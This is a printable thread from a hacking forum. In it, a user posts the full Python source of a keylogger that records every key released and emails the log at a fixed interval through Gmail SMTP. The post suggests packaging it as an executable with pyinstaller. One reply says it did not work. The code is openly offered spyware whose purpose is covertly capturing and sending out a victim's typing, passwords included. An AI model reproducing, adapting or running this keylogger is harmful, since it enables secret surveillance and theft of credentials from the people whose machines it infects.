![]() |
|
Python keylogger send mail - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: Python (https://sinister.ly/Forum-Python) +--- Thread: Python keylogger send mail (/Thread-Python-keylogger-send-mail) |
Python keylogger send mail - SCARIO - 05-29-2021 "SEND_REPORT_EVERY" You can set the timer in,Sending an email every few minutes ![]() You can convert it to exe with the help of pyinstaller mail and pasword ![]() Code: import keyboard
import smtplib
from threading import Semaphore, Timer
SEND_REPORT_EVERY = 10
EMAIL_ADDRESS = "your mail"
EMAIL_PASSWORD = "your password"
class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.semaphore = Semaphore(0)
def callback(self, event):
"""
This callback is invoked whenever a keyboard event is occured
(i.e when a key is released in this example)
"""
name = event.name
if len(name) > 1:
# excluding character, special key (e.g ctrl, alt, etc.)
# uppercase with []
if name == "space":
name = " "
elif name == "enter":
# whenever ENTER is pressed, add a new line
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# replace spaces with underscores
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
def sendmail(self, email, password, message):
# connection to an SMTP server
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# connect to the SMTP server as TLS mode ( for security )
server.starttls()
# enter credentials to email account
server.login(email, password)
# send the actual message
server.sendmail(email, email, message)
# terminates the session
server.quit()
def report(self):
"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log:
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
self.log = ""
Timer(interval=self.interval, function=self.report).start()
def start(self):
# start the keylogger
keyboard.on_release(callback=self.callback)
self.report()
self.semaphore.acquire()
if __name__ == "__main__":
keylogger = Keylogger(interval=SEND_REPORT_EVERY)
keylogger.start()RE: Python keylogger send mail - rogldicksn - 06-14-2021 not working bro... I checked it out. pyinstalled to ,exe and tested but nothing |